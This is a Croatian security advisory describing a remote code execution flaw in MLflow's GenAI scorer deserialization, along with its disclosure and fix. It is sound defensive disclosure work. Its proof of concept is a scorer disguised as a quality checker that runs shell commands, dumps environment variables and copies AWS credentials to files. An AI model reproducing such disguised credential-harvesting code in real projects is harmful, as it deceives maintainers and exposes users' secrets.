Autor: Evan Harris
Rizik: Visok
Zahvaćena komponenta: MLflow GenAI scoreri (mlflow/mlflow)

Ukratko

Mehanizam deserijalizacije GenAI scorera u MLflowu sadržavao je ranjivost udaljenog izvršavanja koda. Pomoćna funkcija recreate_function() u scorer_utils.py prosljeđivala je podatke scorera koje kontrolira napadač (pohranjene u MLflow bazi podataka za praćenje) izravno u Pythonov exec(). Zlonamjerni scorer koji registrira jedan korisnik izvršava proizvoljni kod na računalu bilo koga tko ga naknadno dohvati i pokrene, čime postaje moguć napad na opskrbni lanac razmjera cijelog ML tima. O problemu smo obavijestili održavatelje MLflowa, koji su ga ispravili ograničavanjem registracije i učitavanja prilagođenih scorera na okruženja pod nadzorom Databricksa. Korisnici bi trebali nadograditi na MLflow 3.5.2 ili noviji.

Pozadina

Modul GenAI u MLflowu omogućuje timovima da definiraju scorere, Python funkcije koje ocjenjuju kvalitetu izlaza LLM-ova (provjere duljine, sigurnost sadržaja, oblikovanje i tako dalje). Scoreri se mogu pisati pomoću dekoratora @scorer, registrirati u odnosu na eksperiment i naknadno dohvatiti po imenu pomoću get_scorer() kako bi kolege mogli ponovno upotrijebiti zajedničku ocjenu.

Da bi to funkcioniralo, MLflow serijalizira funkciju na kojoj se scorer temelji i pohranjuje je u bazu podataka za praćenje. Kada se scorer dohvati, MLflow rekonstruira funkciju iz tih pohranjenih podataka. Korak rekonstrukcije mjesto je na kojem se nalazila ranjivost: serijalizirani izvorni kod ponovno se stvarao pozivom Pythonovog exec(), koji izvršava svaki kod koji mu se preda. Budući da su pohranjeni podaci u potpunosti pod kontrolom napadača, svatko tko je mogao registrirati scorer mogao je podmetnuti kod koji bi se izvršio unutar procesa drugog korisnika.

Pregled

Ranjivost se aktivira duž jedinstvenog lanca poziva deserijalizacije koji završava u exec():

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

Lanac poziva je sljedeći:

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Scenarij napada

  1. Napadač piše scorer koji izgleda legitimno (“provjeravač kvalitete” s uvjerljivim docstringom), ali skriva zlonamjerni payload u tijelu funkcije.
  2. Napadač distribuira scorer kroz kanal kojem žrtva vjeruje: PyPI paket, timski GitHub repozitorij ili zajednički Python modul.
  3. Žrtva uveze scorer i registrira ga u MLflowu. Serijalizirana funkcija zapisuje se u bazu podataka za praćenje.
  4. Kasnije, možda na drugom računalu, od strane drugog člana tima, danima ili tjednima poslije, netko dohvati scorer pomoću get_scorer() i upotrijebi ga.
  5. Tijekom deserijalizacije recreate_function() poziva exec() nad pohranjenim izvornim kodom. Skriveni payload izvršava se s punim ovlastima procesa žrtve.

Budući da je okidanje vremenski i po korisnicima odvojeno od registracije, napad je tih: jedan zlonamjerni scorer registriran jednom može kompromitirati sve u timu koji ga naknadno preuzmu.

Dokaz koncepta

Zlonamjerni scorer u nastavku predstavlja se kao provjeravač kvalitete izlaza. Njegovo tijelo sadrži payload koji ostavlja datoteku-marker, izvlači varijable okruženja i prikuplja AWS vjerodajnice prije nego što vrati uvjerljiv rezultat kako bi izbjegao sumnju:

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

Žrtva dohvaća zajednički scorer onako kako bi to inače učinila:

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

A zatim ga upotrebljava:

result = scorer(outputs="This is test output to evaluate")

U tom trenutku okida se RCE, a payload se izvršava u procesu žrtve.

Utjecaj

Ovisno o payloadu koji nose nepouzdani podaci scorera, napadač može:

  • Izvršiti proizvoljni Python kod s punim ovlastima procesa žrtve
  • Izvući osjetljive podatke kao što su vjerodajnice, varijable okruženja i izvorni kod
  • Prikupiti vjerodajnice s uobičajenih lokacija (AWS, Docker, SSH)
  • Uspostaviti postojanost na računalu žrtve
  • Izvesti bočno kretanje i mrežno izviđanje

Utjecaj je pojačan prirodom nedostatka vezanom uz opskrbni lanac: jedan zlonamjerni scorer koji registrira jedan član tima može kompromitirati svakog korisnika koji ga naknadno dohvati, pri čemu se okidanje događa tiho, dugo nakon registracije.

Odgovor MLflowa

Nakon što smo problem prijavili kroz proces koordinirane objave MLflowa, održavatelji su ga riješili u pull requestu #18493.

Umjesto da pokušaju izolirati (staviti u sandbox) ili provjeravati deserijalizirani izvorni kod, održavatelji su uklonili opasnu mogućnost izvan kontroliranih okruženja: registracija i učitavanje prilagođenih scorera temeljenih na kodu sada su ograničeni na Databricks okruženja za praćenje, gdje je skup korisnika koji mogu učitavati scorere pod nadzorom. Korisnici na drugim pozadinama za praćenje usmjeravaju se prema sigurnijim alternativama poput ugrađenih scorera i scorera temeljenih na make_judge(), koji ne zahtijevaju izvršavanje proizvoljnog koda tijekom deserijalizacije.

Ispravak je isporučen u MLflowu 3.5.2.

Preporuke

Za krajnje korisnike

  • Nadogradite na MLflow 3.5.2 ili noviji.
  • Registrirajte i dohvaćajte prilagođene scorere samo iz izvora kojima u potpunosti vjerujete.
  • Prema podacima scorera u bazi podataka za praćenje odnosite se kao prema nepouzdanom kodu, a ne inertnim podacima. Svatko tko može pisati u spremište za praćenje može pokrenuti kod kod svakog potrošača.
  • Dajte prednost ugrađenim scorerima ili make_judge() scorerima, koji ne izvršavaju proizvoljni kod tijekom deserijalizacije.
  • Ograničite pristup za pisanje zajedničkim bazama podataka za praćenje i pregledajte scorere prije ponovne upotrebe u timu.

Vremenski slijed

Datum Događaj
20. listopada 2025. Ranjivost prijavljena održavateljima MLflowa putem koordinirane objave (issue #18404)
24. listopada 2025. MLflow spaja ispravak (PR #18493), objavljen u v3.5.2
8. siječnja 2026. huntr je označio problem kao duplikat
8. lipnja 2026. Javna objava